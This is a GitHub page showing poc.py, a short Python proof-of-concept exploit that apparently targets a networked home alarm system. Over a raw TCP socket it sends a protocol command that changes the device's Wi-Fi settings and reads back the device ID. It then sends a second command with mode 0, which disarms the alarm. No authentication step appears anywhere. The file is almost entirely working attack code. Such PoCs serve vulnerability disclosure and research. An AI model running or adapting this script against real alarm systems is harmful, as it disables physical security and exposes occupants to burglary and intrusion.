-
Notifications
You must be signed in to change notification settings - Fork 1
/
poc.py
65 lines (50 loc) · 1.69 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
from argparse import ArgumentParser
import socket
import time
def pad(nb, n):
return str(nb).zfill(n)
def set_wifi(s, ssid, pswd):
payload = "%s%s%s%s%s%s%s%s" % (
"CGWPCS48", # Protocol
pad(len(ssid), 2), # SSID len
ssid, # SSID
"3", # ???
str(len(pswd)), # Password len
pswd, # Password
time.strftime("%Y%m%d%H%M%S"), # Time
"\r\n"
)
payload = payload.encode("utf-8")
print(f"set_wifi: sending:\t{payload}")
s.sendall(payload)
reply = s.recv(1024)
print(f"set_wifi: receiving:\t{reply}")
device_id = reply[12:22]
print(f"set_wifi: device_id:\t{device_id}")
return device_id
def disarm(s, device_id):
payload = "%s%s%s%s" % (
"CGWPCS53", # Protocol
"0000", # ???
device_id.decode(), # Device ID
"0" # Mode: 0/1/2 ; Disarm/Arm/home
)
payload = payload.encode("utf-8")
print(f"disarm: sending:\t{payload}")
s.sendall(payload)
reply = s.recv(1024)
print(f"disarm: receiving:\t{reply}")
def main(args):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((args.ip, args.port))
device_id = set_wifi(s, args.wifi_ssid, args.wifi_password)
disarm(s, device_id)
if __name__ == '__main__':
ap = ArgumentParser()
ap.add_argument("ip")
ap.add_argument("-p", "--port", type=int, default=60003)
ap.add_argument("wifi_ssid")
ap.add_argument("wifi_password")
args = ap.parse_args()
main(args)